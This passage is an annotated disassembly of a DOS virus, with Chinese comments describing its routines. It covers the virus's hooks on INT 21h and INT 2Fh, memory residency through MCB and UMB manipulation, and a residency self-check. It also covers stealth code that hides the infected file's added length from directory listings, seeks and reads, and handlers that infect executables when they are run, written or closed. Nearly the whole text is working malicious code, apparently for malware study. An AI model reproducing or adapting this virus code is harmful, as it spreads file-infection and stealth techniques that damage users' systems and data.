F6C8:03E9 807C0216    CMP    BYTE PTR [SI+02],16
F6C8:03ED 75F1       JNZ    03E0
F6C8:03EF 394403      CMP    [SI+03],AX  ;将 CALL SS:[xxxx]
F6C8:03F2 75EC       JNZ    03E0    ;改为 CALL CS:053D
F6C8:03F4 C6049A      MOV    BYTE PTR [SI],9A  ;截取新 INT 21
F6C8:03F7 C744013D05   MOV    WORD PTR [SI+01],053D  ;到 CS:053D
F6C8:03FC 8C4C03      MOV    [SI+03],CS
F6C8:03FF 2E        CS:
F6C8:0400 89365B11    MOV    [115B],SI
F6C8:0404 83FE80      CMP    SI,-80
F6C8:0407 772D       JA    0436
F6C8:0409 4E        DEC    SI
F6C8:040A AD        LODSW
F6C8:040B 3DFB80      CMP    AX,80FB    ;找 FB 80 FC 11 75 0A C0 74
F6C8:040E 75F4       JNZ    0404    ;即 CMP AH,11/JNZ XXXX
F6C8:0410 813CFC11    CMP    WORD PTR [SI],11FC  ;OR AL,AL/JZ  XXXX
F6C8:0414 75EE       JNZ    0404      ;此代码为 INT 2F
F6C8:0416 817C02750A   CMP    WORD PTR [SI+02],0A75  ;中断的开始代码
F6C8:041B 75E7       JNZ    0404
F6C8:041D 817C05C074   CMP    WORD PTR [SI+05],74C0
F6C8:0422 75E0       JNZ    0404
F6C8:0424 4E        DEC    SI
F6C8:0425 C6049A      MOV    BYTE PTR [SI],9A  ;截取新 INT 2F
F6C8:0428 C744013E04   MOV    WORD PTR [SI+01],043E  ;到 CS:043E
F6C8:042D 8C4C03      MOV    [SI+03],CS    ;改为 CALL CS:043E
F6C8:0430 4E        DEC    SI
F6C8:0431 2E        CS:
F6C8:0432 89365D11    MOV    [115D],SI
F6C8:0436 07        POP    ES
F6C8:0437 1F        POP    DS
F6C8:0438 61        POPA
F6C8:0439 EADA101001   JMP    0110:10DA    ;转原 INT 2A
;=========================================================================
;  新 INT 2F 中断代码部分
;=========================================================================
F6C8:043E 2E        CS:
F6C8:043F C606C00D3C   MOV    BYTE PTR [0DC0],3C
F6C8:0444 50        PUSH   AX
F6C8:0445 55        PUSH   BP
F6C8:0446 8BEC       MOV    BP,SP
F6C8:0448 80FC11      CMP    AH,11    ;模拟原 INT 2F 功能
F6C8:044B 7404       JZ    0451    ;CMP AH,11/JNZ xxxx
F6C8:044D 8346040A    ADD    WORD PTR [BP+04],+0A
F6C8:0451 8B460A      MOV    AX,[BP+0A]  ;取调用 INT 2F 之地址
F6C8:0454 8CCD       MOV    BP,CS    ;如果是病毒自己调用
F6C8:0456 3BC5       CMP    AX,BP    ;转原 INT 2F
F6C8:0458 5D        POP    BP
F6C8:0459 58        POP    AX
F6C8:045A 740C       JZ    0468    ;
F6C8:045C 3D1612      CMP    AX,1216    ;非病毒自己调用
F6C8:045F 7507       JNZ    0468    ;则将 1216 功能
F6C8:0461 83C404      ADD    SP,+04    ;屏蔽, 出错返回
F6C8:0464 F9        STC
F6C8:0465 CA0200      RETF   0002
F6C8:0468 CB        RETF
;==========================================================================
;BOOT 引入时执行 INT 21H 时先执行本子程序
;功能为在第一次执行可执行程序时申请内存块驻留
F6C8:0469 80FC4B      CMP    AH,4B    ;非执行程序退出
F6C8:046C 7401       JZ    046F
F6C8:046E C3        RET
F6C8:046F 60        PUSHA
F6C8:0470 1E        PUSH   DS
F6C8:0471 06        PUSH   ES
F6C8:0472 0AC0       OR    AL,AL
F6C8:0474 7428       JZ    049E    ;执行文件转 049E
F6C8:0476 8BF2       MOV    SI,DX    ;装入设备驱动程序
F6C8:0478 AC        LODSB
F6C8:0479 0AC0       OR    AL,AL
F6C8:047B 75FB       JNZ    0478
F6C8:047D 817CF74D33   CMP    WORD PTR [SI-09],334D
F6C8:0482 7517       JNZ    049B
F6C8:0484 817CF45145   CMP    WORD PTR [SI-0C],4551
F6C8:0489 7510       JNZ    049B
F6C8:048B E89CFD      CALL   022A    ;如果装入 QEMM386.SYS
F6C8:048E B80013      MOV    AX,1300    ;再次设置新 INT 13H
F6C8:0491 8BD3       MOV    DX,BX
F6C8:0493 CD2F       INT    2F    (Multiplex)
F6C8:0495 2E        CS:
F6C8:0496 C606FF00EB   MOV    BYTE PTR [00FF],EB
F6C8:049B E99B00      JMP    0539
F6C8:049E 2E        CS:      ;执行程序时
F6C8:049F C606FF00EB   MOV    BYTE PTR [00FF],EB
F6C8:04A4 B452       MOV    AH,52    ;取表之表地址
F6C8:04A6 E85108      CALL   0CFA
F6C8:04A9 26        ES:
F6C8:04AA 8B47FE      MOV    AX,[BX-02]  ;取第一块 MCB 地址
F6C8:04AD E8C7FB      CALL   0077    ;取最后一块 MCB 地址
F6C8:04B0 8EDB       MOV    DS,BX
F6C8:04B2 8BC3       MOV    AX,BX
F6C8:04B4 034503      ADD    AX,[DI+03]
F6C8:04B7 80FCA0      CMP    AH,A0
F6C8:04BA 760D       JBE    04C9    ;不在 UMB 中转 04C9
F6C8:04BC 33F6       XOR    SI,SI    ;在 UMB 中则驻留内存
F6C8:04BE E8CDFB      CALL   008E
F6C8:04C1 B9B004      MOV    CX,04B0
F6C8:04C4 F3        REPZ
F6C8:04C5 2E        CS:
F6C8:04C6 A4        MOVSB
F6C8:04C7 734B       JNB    0514
F6C8:04C9 B80058      MOV    AX,5800    ;取内存分配策略
F6C8:04CC E82B08      CALL   0CFA
F6C8:04CF 50        PUSH   AX
F6C8:04D0 B80158      MOV    AX,5801    ;设高到低寻找策略
F6C8:04D3 BB8000      MOV    BX,0080
F6C8:04D6 50        PUSH   AX
F6C8:04D7 E82008      CALL   0CFA
F6C8:04DA B80258      MOV    AX,5802    ;得到 UMB 链状态
F6C8:04DD E81A08      CALL   0CFA
F6C8:04E0 32E4       XOR    AH,AH
F6C8:04E2 50        PUSH   AX
F6C8:04E3 B80358      MOV    AX,5803    ;设新的 UMB 状态
F6C8:04E6 B301       MOV    BL,01    ;为将 UMB 加入 DOS 内存链
F6C8:04E8 50        PUSH   AX
F6C8:04E9 E80E08      CALL   0CFA
F6C8:04EC B448       MOV    AH,48    ;分配内存
F6C8:04EE BB3801      MOV    BX,0138
F6C8:04F1 E80608      CALL   0CFA
F6C8:04F4 95        XCHG   AX,BP
F6C8:04F5 58        POP    AX
F6C8:04F6 5B        POP    BX
F6C8:04F7 E80008      CALL   0CFA    ;恢复分配内存策略
F6C8:04FA 58        POP    AX    ;及恢复 UMB 状态
F6C8:04FB 5B        POP    BX
F6C8:04FC E8FB07      CALL   0CFA
F6C8:04FF 33FF       XOR    DI,DI
F6C8:0501 8EC5       MOV    ES,BP
F6C8:0503 4D        DEC    BP
F6C8:0504 8EDD       MOV    DS,BP    ;将内存块改为 DOS 使用
F6C8:0506 C745010800   MOV    WORD PTR [DI+01],0008
F6C8:050B 33F6       XOR    SI,SI
F6C8:050D 0E        PUSH   CS
F6C8:050E 1F        POP    DS
F6C8:050F B97713      MOV    CX,1377
F6C8:0512 F3        REPZ
F6C8:0513 A4        MOVSB      ;驻留内存
F6C8:0514 0E        PUSH   CS
F6C8:0515 1F        POP    DS
F6C8:0516 8B3E4502    MOV    DI,[0245]  ;将 INT 21 地址
F6C8:051A 8B365D11    MOV    SI,[115D]  ;改到新的地址
F6C8:051E C51E5711    LDS    BX,[1157]
F6C8:0522 8C47FE      MOV    [BX-02],ES
F6C8:0525 8C4404      MOV    [SI+04],ES
F6C8:0528 8ED9       MOV    DS,CX
F6C8:052A 8C4502      MOV    [DI+02],ES
F6C8:052D 26        ES:
F6C8:052E C60604013C   MOV    BYTE PTR [0104],3C
F6C8:0533 26        ES:
F6C8:0534 C60658053D   MOV    BYTE PTR [0558],3D
F6C8:0539 07        POP    ES
F6C8:053A 1F        POP    DS
F6C8:053B 61        POPA
F6C8:053C C3        RET
;=========================================================================
;  新 INT 21H 代码部分
;=========================================================================
F6C8:053D 2E        CS:
F6C8:053E 8F065711    POP    WORD PTR [1157]  ;保存返回地址
F6C8:0542 2E        CS:      ;于 1157 (IP) 和 1159 (CS)
F6C8:0543 8F065911    POP    WORD PTR [1159]
F6C8:0547 9C        PUSHF
F6C8:0548 55        PUSH   BP
F6C8:0549 8BEC       MOV    BP,SP
F6C8:054B 817E045344   CMP    WORD PTR [BP+04],4453
F6C8:0550 5D        POP    BP
F6C8:0551 7504       JNZ    0557    ;????
F6C8:0553 9D        POPF
F6C8:0554 44        INC    SP
F6C8:0555 44        INC    SP
F6C8:0556 C3        RET
F6C8:0557 9D        POPF
F6C8:0558 3D0EFF      CMP    AX,FF0E  ====>  ;BOOT 引入时
F6C8:055B 80FC11      CMP    AH,11    ;本句代码为 CALL 0469
F6C8:055E 7235       JB    0595
F6C8:0560 80FC12      CMP    AH,12    ;DOS 功能 11,12 (DIR 时使用)
F6C8:0563 7730       JA    0595    ;则更改文件长度
F6C8:0565 E82308      CALL   0D8B    ;调用原 INT 21 功能
F6C8:0568 0AC0       OR    AL,AL    ;成功转 057B
F6C8:056A 740F       JZ    057B
F6C8:056C 50        PUSH   AX
F6C8:056D B81812      MOV    AX,1218    ;INT 2F 之 1218 功能
F6C8:0570 E84D08      CALL   0DC0    ;取 DOS 调用者寄存器
F6C8:0573 58        POP    AX
F6C8:0574 8904       MOV    [SI],AX    ;修改返回值
F6C8:0576 2E        CS:      ;返回调用处
F6C8:0577 FF2E5711    JMP    FAR DWORD PTR [1157]
F6C8:057B E86208      CALL   0DE0    ;
F6C8:057E 74EC       JZ    056C
F6C8:0580 50        PUSH   AX
F6C8:0581 B42F       MOV    AH,2F
F6C8:0583 E87407      CALL   0CFA
F6C8:0586 26        ES:
F6C8:0587 803FFF      CMP    BYTE PTR [BX],FF
F6C8:058A 7503       JNZ    058F
F6C8:058C 83C307      ADD    BX,+07
F6C8:058F 43        INC    BX
F6C8:0590 BE0200      MOV    SI,0002
F6C8:0593 EB17       JMP    05AC
;==========================================================================
F6C8:0595 80FC4E      CMP    AH,4E
F6C8:0598 7239       JB    05D3
F6C8:059A 80FC4F      CMP    AH,4F
F6C8:059D 7734       JA    05D3
F6C8:059F E8E907      CALL   0D8B
F6C8:05A2 50        PUSH   AX
F6C8:05A3 722B       JB    05D0
F6C8:05A5 B42F       MOV    AH,2F
F6C8:05A7 E85007      CALL   0CFA
F6C8:05AA 33F6       XOR    SI,SI
F6C8:05AC E82808      CALL   0DD7
F6C8:05AF 741F       JZ    05D0
F6C8:05B1 06        PUSH   ES
F6C8:05B2 1F        POP    DS
F6C8:05B3 807F19C8    CMP    BYTE PTR [BX+19],C8
F6C8:05B7 7217       JB    05D0
F6C8:05B9 806F19C8    SUB    BYTE PTR [BX+19],C8
F6C8:05BD C4401A      LES    AX,[BX+SI+1A]
F6C8:05C0 8CC2       MOV    DX,ES
F6C8:05C2 2DC70E      SUB    AX,0EC7
F6C8:05C5 83DA00      SBB    DX,+00
F6C8:05C8 7206       JB    05D0
F6C8:05CA 89401A      MOV    [BX+SI+1A],AX
F6C8:05CD 89501C      MOV    [BX+SI+1C],DX
F6C8:05D0 58        POP    AX
F6C8:05D1 EB99       JMP    056C
;=========================================================================
F6C8:05D3 3D0242      CMP    AX,4202
F6C8:05D6 7526       JNZ    05FE
F6C8:05D8 E8FA06      CALL   0CD5
F6C8:05DB 7621       JBE    05FE
F6C8:05DD E8F707      CALL   0DD7
F6C8:05E0 741C       JZ    05FE
F6C8:05E2 816D11C70E   SUB    WORD PTR [DI+11],0EC7
F6C8:05E7 835D1300    SBB    WORD PTR [DI+13],+00
F6C8:05EB 57        PUSH   DI
F6C8:05EC 1E        PUSH   DS
F6C8:05ED E89B07      CALL   0D8B
F6C8:05F0 1F        POP    DS
F6C8:05F1 5F        POP    DI
F6C8:05F2 814511C70E   ADD    WORD PTR [DI+11],0EC7
F6C8:05F7 83551300    ADC    WORD PTR [DI+13],+00
F6C8:05FB E96EFF      JMP    056C
;==========================================================================
F6C8:05FE 80FC57      CMP    AH,57
F6C8:0601 7520       JNZ    0623
F6C8:0603 E8CF06      CALL   0CD5
F6C8:0606 761B       JBE    0623
F6C8:0608 E8CC07      CALL   0DD7
F6C8:060B 7416       JZ    0623
F6C8:060D 57        PUSH   DI
F6C8:060E 1E        PUSH   DS
F6C8:060F 0AC0       OR    AL,AL
F6C8:0611 7504       JNZ    0617
F6C8:0613 806D10C8    SUB    BYTE PTR [DI+10],C8
F6C8:0617 E87107      CALL   0D8B
F6C8:061A 1F        POP    DS
F6C8:061B 5F        POP    DI
F6C8:061C 804510C8    ADD    BYTE PTR [DI+10],C8
F6C8:0620 E949FF      JMP    056C
;===========================================================================
F6C8:0623 80FC3F      CMP    AH,3F
F6C8:0626 7403       JZ    062B
F6C8:0628 E94901      JMP    0774
F6C8:062B E8A907      CALL   0DD7    ;新 INT 21 之 3F 功能
F6C8:062E 74F8       JZ    0628    ;执行压缩文件跳过
F6C8:0630 1E        PUSH   DS
F6C8:0631 E8A106      CALL   0CD5    ;取文件句柄表地址
F6C8:0634 1F        POP    DS
F6C8:0635 76F1       JBE    0628
F6C8:0637 2E        CS:
F6C8:0638 8C1E6B0C    MOV    [0C6B],DS
F6C8:063C 0E        PUSH   CS
F6C8:063D 1F        POP    DS
F6C8:063E 890E650C    MOV    [0C65],CX
F6C8:0642 8916680C    MOV    [0C68],DX
F6C8:0646 83266F0700   AND    WORD PTR [076F],0000
F6C8:064B 06        PUSH   ES
F6C8:064C 1F        POP    DS
F6C8:064D E85A06      CALL   0CAA    ;测试当前文件指针
F6C8:0650 2D4000      SUB    AX,0040
F6C8:0653 83DA00      SBB    DX,+00
F6C8:0656 7320       JNB    0678    ;非文件头 40H 字节转 0678
F6C8:0658 034511      ADD    AX,[DI+11]
F6C8:065B 135513      ADC    DX,[DI+13]
F6C8:065E 874515      XCHG   AX,[DI+15]
F6C8:0661 875517      XCHG   DX,[DI+17]
F6C8:0664 8BCA       MOV    CX,DX
F6C8:0666 92        XCHG   AX,DX
F6C8:0667 E8F205      CALL   0C5C
F6C8:066A 7303       JNB    066F
F6C8:066C E9FD00      JMP    076C
F6C8:066F 9C        PUSHF
F6C8:0670 03D0       ADD    DX,AX
F6C8:0672 E83F06      CALL   0CB4
F6C8:0675 9D        POPF
F6C8:0676 74F4       JZ    066C
F6C8:0678 06        PUSH   ES
F6C8:0679 E82E06      CALL   0CAA
F6C8:067C 50        PUSH   AX
F6C8:067D 52        PUSH   DX
F6C8:067E E83F06      CALL   0CC0
F6C8:0681 E86A05      CALL   0BEE
F6C8:0684 59        POP    CX
F6C8:0685 5A        POP    DX
F6C8:0686 9C        PUSHF
F6C8:0687 E82A06      CALL   0CB4
F6C8:068A 9D        POPF
F6C8:068B C406030F    LES    AX,[0F03]
F6C8:068F 8CC1       MOV    CX,ES
F6C8:0691 1F        POP    DS
F6C8:0692 7303       JNB    0697
F6C8:0694 E9BE00      JMP    0755
F6C8:0697 874511      XCHG   AX,[DI+11]
F6C8:069A 50        PUSH   AX
F6C8:069B 874D13      XCHG   CX,[DI+13]
F6C8:069E 51        PUSH   CX
F6C8:069F E8BA05      CALL   0C5C
F6C8:06A2 8F4513      POP    WORD PTR [DI+13]
F6C8:06A5 8F4511      POP    WORD PTR [DI+11]
F6C8:06A8 7703       JA    06AD
F6C8:06AA E9BF00      JMP    076C
F6C8:06AD E8FA05      CALL   0CAA
F6C8:06B0 0E        PUSH   CS
F6C8:06B1 1F        POP    DS
F6C8:06B2 2B06030F    SUB    AX,[0F03]
F6C8:06B6 1B16050F    SBB    DX,[0F05]
F6C8:06BA 753F       JNZ    06FB
F6C8:06BC 3D4800      CMP    AX,0048
F6C8:06BF 733A       JNB    06FB
F6C8:06C1 05070F      ADD    AX,0F07
F6C8:06C4 96        XCHG   AX,SI
F6C8:06C5 33C0       XOR    AX,AX
F6C8:06C7 8B3E680C    MOV    DI,[0C68]
F6C8:06CB 8E066B0C    MOV    ES,[0C6B]
F6C8:06CF 8B0E650C    MOV    CX,[0C65]
F6C8:06D3 E312       JCXZ   06E7
F6C8:06D5 81FE4F0F    CMP    SI,0F4F
F6C8:06D9 730C       JNB    06E7
F6C8:06DB A4        MOVSB
F6C8:06DC FF066F07    INC    WORD PTR [076F]
F6C8:06E0 FF06680C    INC    WORD PTR [0C68]
F6C8:06E4 40        INC    AX
F6C8:06E5 E2EE       LOOP   06D5
F6C8:06E7 890E650C    MOV    [0C65],CX
F6C8:06EB E8E705      CALL   0CD5
F6C8:06EE 014515      ADD    [DI+15],AX
F6C8:06F1 83551700    ADC    WORD PTR [DI+17],+00
F6C8:06F5 0BC9       OR    CX,CX
F6C8:06F7 7502       JNZ    06FB
F6C8:06F9 EB71       JMP    076C
F6C8:06FB 0E        PUSH   CS
F6C8:06FC 1F        POP    DS
F6C8:06FD A12B0F      MOV    AX,[0F2B]
F6C8:0700 33D2       XOR    DX,DX
F6C8:0702 050100      ADD    AX,0001
F6C8:0705 13D2       ADC    DX,DX
F6C8:0707 BE0800      MOV    SI,0008
F6C8:070A F7E6       MUL    SI
F6C8:070C 0306310F    ADD    AX,[0F31]
F6C8:0710 83D200      ADC    DX,+00
F6C8:0713 0306030F    ADD    AX,[0F03]
F6C8:0717 1316050F    ADC    DX,[0F05]
F6C8:071B E8B705      CALL   0CD5
F6C8:071E 3B5517      CMP    DX,[DI+17]
F6C8:0721 7232       JB    0755
F6C8:0723 7705       JA    072A
F6C8:0725 3B4515      CMP    AX,[DI+15]
F6C8:0728 762B       JBE    0755
F6C8:072A 2D0800      SUB    AX,0008
F6C8:072D 83DA00      SBB    DX,+00
F6C8:0730 874511      XCHG   AX,[DI+11]
F6C8:0733 50        PUSH   AX
F6C8:0734 875513      XCHG   DX,[DI+13]
F6C8:0737 52        PUSH   DX
F6C8:0738 836D1508    SUB    WORD PTR [DI+15],+08
F6C8:073C 835D1700    SBB    WORD PTR [DI+17],+00
F6C8:0740 E81905      CALL   0C5C
F6C8:0743 9C        PUSHF
F6C8:0744 83451508    ADD    WORD PTR [DI+15],+08
F6C8:0748 83551500    ADC    WORD PTR [DI+15],+00
F6C8:074C 9D        POPF
F6C8:074D 8F4513      POP    WORD PTR [DI+13]
F6C8:0750 8F4511      POP    WORD PTR [DI+11]
F6C8:0753 7617       JBE    076C
F6C8:0755 816D11C70E   SUB    WORD PTR [DI+11],0EC7
F6C8:075A 835D1300    SBB    WORD PTR [DI+13],+00
F6C8:075E E8FB04      CALL   0C5C
F6C8:0761 9C        PUSHF
F6C8:0762 814511C70E   ADD    WORD PTR [DI+11],0EC7
F6C8:0767 83551300    ADC    WORD PTR [DI+13],+00
F6C8:076B 9D        POPF
F6C8:076C 7203       JB    0771
F6C8:076E B875D5      MOV    AX,D575
F6C8:0771 E9F8FD      JMP    056C
;===========================================================================
F6C8:0774 60        PUSHA      ;病毒驻留检验
F6C8:0775 1E        PUSH   DS    ;以 AX = 187F
F6C8:0776 06        PUSH   ES    ;  BX = 4453 调用
F6C8:0777 3D7F18      CMP    AX,187F    ;返回 AX = 434E
F6C8:077A 7514       JNZ    0790
F6C8:077C 81FB5344    CMP    BX,4453
F6C8:0780 750E       JNZ    0790
F6C8:0782 B81812      MOV    AX,1218    ;取返回寄存器地址
F6C8:0785 E83806      CALL   0DC0    ;修改返回 AX 值
F6C8:0788 8144024E43   ADD    WORD PTR [SI+02],434E
F6C8:078D E9C201      JMP    0952
;===========================================================================
F6C8:0790 80FC40      CMP    AH,40
F6C8:0793 7403       JZ    0798
F6C8:0795 E9F100      JMP    0889
F6C8:0798 E83A05      CALL   0CD5
F6C8:079B 76F8       JBE    0795
F6C8:079D E81604      CALL   0BB6
F6C8:07A0 FF7505      PUSH   WORD PTR [DI+05]
F6C8:07A3 C54515      LDS    AX,[DI+15]
F6C8:07A6 50        PUSH   AX
F6C8:07A7 1E        PUSH   DS
F6C8:07A8 E81505      CALL   0CC0
F6C8:07AB 7303       JNB    07B0
F6C8:07AD E9C800      JMP    0878
F6C8:07B0 E83B04      CALL   0BEE
F6C8:07B3 9C        PUSHF
F6C8:07B4 8306030F08   ADD    WORD PTR [0F03],+08
F6C8:07B9 8316050F00   ADC    WORD PTR [0F05],+00
F6C8:07BE 9D        POPF
F6C8:07BF 7303       JNB    07C4
F6C8:07C1 E99900      JMP    085D
F6C8:07C4 8B441C      MOV    AX,[SI+1C]
F6C8:07C7 33D2       XOR    DX,DX
F6C8:07C9 B90800      MOV    CX,0008
F6C8:07CC F7E1       MUL    CX
F6C8:07CE 034422      ADD    AX,[SI+22]
F6C8:07D1 83D200      ADC    DX,+00
F6C8:07D4 50        PUSH   AX
F6C8:07D5 52        PUSH   DX
F6C8:07D6 0306030F    ADD    AX,[0F03]
F6C8:07DA 1316050F    ADC    DX,[0F05]
F6C8:07DE 050002      ADD    AX,0200
F6C8:07E1 83D200      ADC    DX,+00
F6C8:07E4 8BCA       MOV    CX,DX
F6C8:07E6 92        XCHG   AX,DX
F6C8:07E7 E8CA04      CALL   0CB4
F6C8:07EA 5A        POP    DX
F6C8:07EB 58        POP    AX
F6C8:07EC 2D4000      SUB    AX,0040
F6C8:07EF 83DA00      SBB    DX,+00
F6C8:07F2 B90002      MOV    CX,0200
F6C8:07F5 F7F1       DIV    CX
F6C8:07F7 8BFA       MOV    DI,DX
F6C8:07F9 95        XCHG   AX,BP
F6C8:07FA 83ED01      SUB    BP,+01
F6C8:07FD 722E       JB    082D
F6C8:07FF B9FFFF      MOV    CX,FFFF
F6C8:0802 BAF8FB      MOV    DX,FBF8
F6C8:0805 E8AF04      CALL   0CB7
F6C8:0808 B43F       MOV    AH,3F
F6C8:080A B90002      MOV    CX,0200
F6C8:080D BA4F0F      MOV    DX,0F4F
F6C8:0810 E88C04      CALL   0C9F
F6C8:0813 7263       JB    0878
F6C8:0815 B9FFFF      MOV    CX,FFFF
F6C8:0818 BA08FE      MOV    DX,FE08
F6C8:081B E89904      CALL   0CB7
F6C8:081E B440       MOV    AH,40
F6C8:0820 B90002      MOV    CX,0200
F6C8:0823 BA4F0F      MOV    DX,0F4F
F6C8:0826 E87604      CALL   0C9F
F6C8:0829 73CF       JNB    07FA
F6C8:082B EB4B       JMP    0878
F6C8:082D B9FFFF      MOV    CX,FFFF
F6C8:0830 8D950802    LEA    DX,[DI+0208]
F6C8:0834 F7DA       NEG    DX
F6C8:0836 E87E04      CALL   0CB7
F6C8:0839 B43F       MOV    AH,3F
F6C8:083B 8BCF       MOV    CX,DI
F6C8:083D BA4F0F      MOV    DX,0F4F
F6C8:0840 E85C04      CALL   0C9F
F6C8:0843 7233       JB    0878
F6C8:0845 B9FFFF      MOV    CX,FFFF
F6C8:0848 8D5540      LEA    DX,[DI+40]
F6C8:084B F7DA       NEG    DX
F6C8:084D E86704      CALL   0CB7
F6C8:0850 B440       MOV    AH,40
F6C8:0852 8D4D48      LEA    CX,[DI+48]
F6C8:0855 BA070F      MOV    DX,0F07
F6C8:0858 E84404      CALL   0C9F
F6C8:085B 721B       JB    0878
F6C8:085D E83004      CALL   0C90
F6C8:0860 7216       JB    0878
F6C8:0862 B9FFFF      MOV    CX,FFFF
F6C8:0865 BA39F1      MOV    DX,F139
F6C8:0868 E84F04      CALL   0CBA
F6C8:086B B440       MOV    AH,40
F6C8:086D 41        INC    CX
F6C8:086E E88904      CALL   0CFA
F6C8:0871 E86104      CALL   0CD5
F6C8:0874 806D10C8    SUB    BYTE PTR [DI+10],C8
F6C8:0878 59        POP    CX
F6C8:0879 5A        POP    DX
F6C8:087A E83704      CALL   0CB4
F6C8:087D E85504      CALL   0CD5
F6C8:0880 8F4505      POP    WORD PTR [DI+05]
F6C8:0883 E85303      CALL   0BD9
F6C8:0886 E9C900      JMP    0952
;=========================================================================
F6C8:0889 80FC3E      CMP    AH,3E
F6C8:088C 750C       JNZ    089A
F6C8:088E E82503      CALL   0BB6
F6C8:0891 E8E100      CALL   0975
F6C8:0894 E84203      CALL   0BD9
F6C8:0897 E9B800      JMP    0952
;=========================================================================
F6C8:089A 80FC43      CMP    AH,43
F6C8:089D 7419       JZ    08B8
F6C8:089F 80FC56      CMP    AH,56
F6C8:08A2 7414       JZ    08B8
F6C8:08A4 3D004B      CMP    AX,4B00
F6C8:08A7 7205       JB    08AE
F6C8:08A9 3D054B      CMP    AX,4B05
F6C8:08AC 7603       JBE    08B1
F6C8:08AE E9A100      JMP    0952
F6C8:08B1 7505       JNZ    08B8
F6C8:08B3 8BF2       MOV    SI,DX
F6C8:08B5 C55404      LDS    DX,[SI+04]
;==========================================================================
F6C8:08B8 50        PUSH   AX
F6C8:08B9 E8FA02      CALL   0BB6
F6C8:08BC B8003D      MOV    AX,3D00
F6C8:08BF E83804      CALL   0CFA
F6C8:08C2 720F       JB    08D3
F6C8:08C4 93        XCHG   AX,BX
F6C8:08C5 53        PUSH   BX
F6C8:08C6 52        PUSH   DX
F6C8:08C7 1E        PUSH   DS
F6C8:08C8 E8AA00      CALL   0975
F6C8:08CB 1F        POP    DS
F6C8:08CC 5A        POP    DX
F6C8:08CD 5B        POP    BX
F6C8:08CE B43E       MOV    AH,3E
F6C8:08D0 E82704      CALL   0CFA
F6C8:08D3 E80303      CALL   0BD9
F6C8:08D6 58        POP    AX
F6C8:08D7 3D014B      CMP    AX,4B01
F6C8:08DA 751F       JNZ    08FB
F6C8:08DC 33ED       XOR    BP,BP
F6C8:08DE B8003D      MOV    AX,3D00
F6C8:08E1 E81604      CALL   0CFA
F6C8:08E4 7211       JB    08F7
F6C8:08E6 93        XCHG   AX,BX
F6C8:08E7 E8EB03      CALL   0CD5
F6C8:08EA 7606       JBE    08F2
F6C8:08EC E8D103      CALL   0CC0
F6C8:08EF 7201       JB    08F2
F6C8:08F1 45        INC    BP
F6C8:08F2 B43E       MOV    AH,3E
F6C8:08F4 E80304      CALL   0CFA
F6C8:08F7 0BED       OR    BP,BP
F6C8:08F9 7502       JNZ    08FD
F6C8:08FB EB55       JMP    0952
F6C8:08FD 07        POP    ES
F6C8:08FE 1F        POP    DS
F6C8:08FF 61        POPA
F6C8:0900 53        PUSH   BX
F6C8:0901 06        PUSH   ES
F6C8:0902 E88604      CALL   0D8B
F6C8:0905 07        POP    ES
F6C8:0906 5F        POP    DI
F6C8:0907 50        PUSH   AX
F6C8:0908 7304       JNB    090E
F6C8:090A 58        POP    AX
F6C8:090B E95EFC      JMP    056C
F6C8:090E B451       MOV    AH,51
F6C8:0910 CD21       INT    21    (DOS)
F6C8:0912 8BEB       MOV    BP,BX
F6C8:0914 BEC70E      MOV    SI,0EC7
F6C8:0917 0E        PUSH   CS
F6C8:0918 1F        POP    DS
F6C8:0919 AD        LODSW
F6C8:091A E88F02      CALL   0BAC
F6C8:091D 7409       JZ    0928
F6C8:091F 48        DEC    AX
F6C8:0920 26        ES:
F6C8:0921 C47D12      LES    DI,[DI+12]
F6C8:0924 AB        STOSW
F6C8:0925 A4        MOVSB
F6C8:0926 EBE2       JMP    090A
F6C8:0928 83C70E      ADD    DI,+0E
F6C8:092B 1E        PUSH   DS
F6C8:092C 26        ES:
F6C8:092D C51D       LDS    BX,[DI]
F6C8:092F 8B0F       MOV    CX,[BX]
F6C8:0931 1F        POP    DS
F6C8:0932 8B440E      MOV    AX,[SI+0E]
F6C8:0935 48        DEC    AX
F6C8:0936 48        DEC    AX
F6C8:0937 AB        STOSW
F6C8:0938 93        XCHG   AX,BX
F6C8:0939 8D4610      LEA    AX,[BP+10]
F6C8:093C 50        PUSH   AX
F6C8:093D 03440C      ADD    AX,[SI+0C]
F6C8:0940 AB        STOSW
F6C8:0941 1E        PUSH   DS
F6C8:0942 8ED8       MOV    DS,AX
F6C8:0944 890F       MOV    [BX],CX
F6C8:0946 1F        POP    DS
F6C8:0947 8B4412      MOV    AX,[SI+12]
F6C8:094A AB        STOSW
F6C8:094B 58        POP    AX
F6C8:094C 034414      ADD    AX,[SI+14]
F6C8:094F AB        STOSW
F6C8:0950 EBB8       JMP    090A
;==========================================================================
F6C8:0952 07        POP    ES
F6C8:0953 1F        POP    DS
F6C8:0954 61        POPA       ;INT 21 CALL SS:[XXXX]
F6C8:0955 2E        CS:      ;的返回地址 (1157)
F6C8:0956 FF365711    PUSH   WORD PTR [1157]
F6C8:095A 55        PUSH   BP
F6C8:095B 2E        CS:
F6C8:095C 8B2E5311    MOV    BP,[1153]  ;调用地址
F6C8:0960 8B6E00      MOV    BP,[BP+00]
F6C8:0963 2E        CS:
F6C8:0964 892E5711    MOV    [1157],BP
F6C8:0968 5D        POP    BP
F6C8:0969 2E        CS:
F6C8:096A FF365911    PUSH   WORD PTR [1159]  ;调用 INT 21 的段地址
F6C8:096E 2E        CS:
F6C8:096F FF365711    PUSH   WORD PTR [1157]  ;调用地址
F6C8:0973 CB        RETF       ;到原 INT 21 功能
F6C8:0974 C3        RET
;==========================================================================
F6C8:0975 E85D03      CALL   0CD5
F6C8:0978 72FA       JB    0974
F6C8:097A 75F8       JNZ    0974
F6C8:097C 833D01      CMP    WORD PTR [DI],+01
F6C8:097F 75F3       JNZ    0974
F6C8:0981 F645053E    TEST   BYTE PTR [DI+05],3E
F6C8:0985 7514       JNZ    099B
F6C8:0987 BAF503      MOV    DX,03F5
F6C8:098A B004       MOV    AL,04
F6C8:098C EE        OUT    DX,AL
F6C8:098D B504       MOV    CH,04
F6C8:098F E2FE       LOOP   098F
F6C8:0991 EE        OUT    DX,AL
F6C8:0992 B504       MOV    CH,04
F6C8:0994 E2FE       LOOP   0994
F6C8:0996 EC        IN    AL,DX
F6C8:0997 A840       TEST   AL,40
F6C8:0999 75D9       JNZ    0974
F6C8:099B B445       MOV    AH,45
F6C8:099D E85A03      CALL   0CFA
F6C8:09A0 72D2       JB    0974
F6C8:09A2 53        PUSH   BX
F6C8:09A3 93        XCHG   AX,BX
F6C8:09A4 B43E       MOV    AH,3E
F6C8:09A6 E85103      CALL   0CFA
F6C8:09A9 5B        POP    BX
